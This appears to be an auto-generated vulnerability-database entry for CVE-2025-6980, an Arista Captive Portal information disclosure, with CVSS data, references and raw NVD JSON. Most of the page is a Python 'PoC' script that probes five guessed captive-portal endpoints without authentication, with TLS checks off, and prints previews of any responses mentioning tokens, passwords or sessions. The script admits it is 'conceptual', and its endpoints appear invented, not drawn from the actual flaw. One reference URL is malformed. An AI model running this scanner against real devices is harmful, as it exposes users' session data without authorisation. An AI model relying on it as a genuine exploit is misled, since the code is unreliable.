CVE-2025-6980

Description

Captive Portal can expose sensitive information

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Arista EOS Captive Portal (具体版本需参考官方安全公告)

Arista Wireless产品线启用Captive Portal的版本

Arista交换机产品启用Captive Portal的版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-6980 PoC - Arista Captive Portal Information Disclosure
# This is a conceptual PoC demonstrating the attack vector
# Use only for authorized security testing

import requests
import sys

def check_vulnerability(target_url):
    """Check if target is vulnerable to CVE-2025-6980"""
    
    # Common Captive Portal endpoints
    endpoints = [
        "/captive-portal/api/user/status",
        "/captive-portal/api/session/info",
        "/api/captive-portal/user",
        "/captiveportal/userinfo",
        "/hotspot/login"
    ]
    
    vulnerable = False
    leaked_data = []
    
    for endpoint in endpoints:
        try:
            # Attempt to access sensitive endpoint without authentication
            url = target_url.rstrip('/') + endpoint
            response = requests.get(url, timeout=10, verify=False)
            
            # Check for sensitive information in response
            if response.status_code == 200:
                # Look for indicators of sensitive data exposure
                sensitive_keywords = [
                    'session', 'token', 'secret', 'password',
                    'key', 'credential', 'auth', 'user_data'
                ]
                
                response_text = response.text.lower()
                for keyword in sensitive_keywords:
                    if keyword in response_text:
                        vulnerable = True
                        leaked_data.append({
                            'endpoint': endpoint,
                            'status_code': response.status_code,
                            'data_preview': response.text[:500]
                        })
                        break
                        
        except requests.exceptions.RequestException as e:
            print(f"[-] Error accessing {endpoint}: {e}")
    
    return vulnerable, leaked_data

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python cve-2025-6980-poc.py <target_url>")
        print("Example: python cve-2025-6980-poc.py https://192.168.1.1")
        sys.exit(1)
    
    target = sys.argv[1]
    print(f"[*] Testing target: {target}")
    print(f"[*] Checking for CVE-2025-6980 vulnerability...\n")
    
    is_vulnerable, data = check_vulnerability(target)
    
    if is_vulnerable:
        print("[!] Target is VULNERABLE to CVE-2025-6980")
        print(f"[!] Found {len(data)} potentially vulnerable endpoints")
        for item in data:
            print(f"\n[+] Endpoint: {item['endpoint']}")
            print(f"    Status: {item['status_code']}")
            print(f"    Data Preview: {item['data_preview']}...")
    else:
        print("[-] Target appears to be NOT vulnerable")
    
    print("\n[*] Note: This PoC is for authorized testing only")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-6980
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-6980
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-6980/
[4] VulDB https://vuldb.com/cve/CVE-2025-6980
[5] https://https://www.arista.com/en/support/advisories-notices/security-advisory/22535-security-advisory-0123

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-6980", "sourceIdentifier": "[email protected]", "published": "2025-10-23T19:15:51.667", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Captive Portal can expose sensitive information"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://https://www.arista.com/en/support/advisories-notices/security-advisory/22535-security-advisory-0123", "source": "[email protected]"}]}}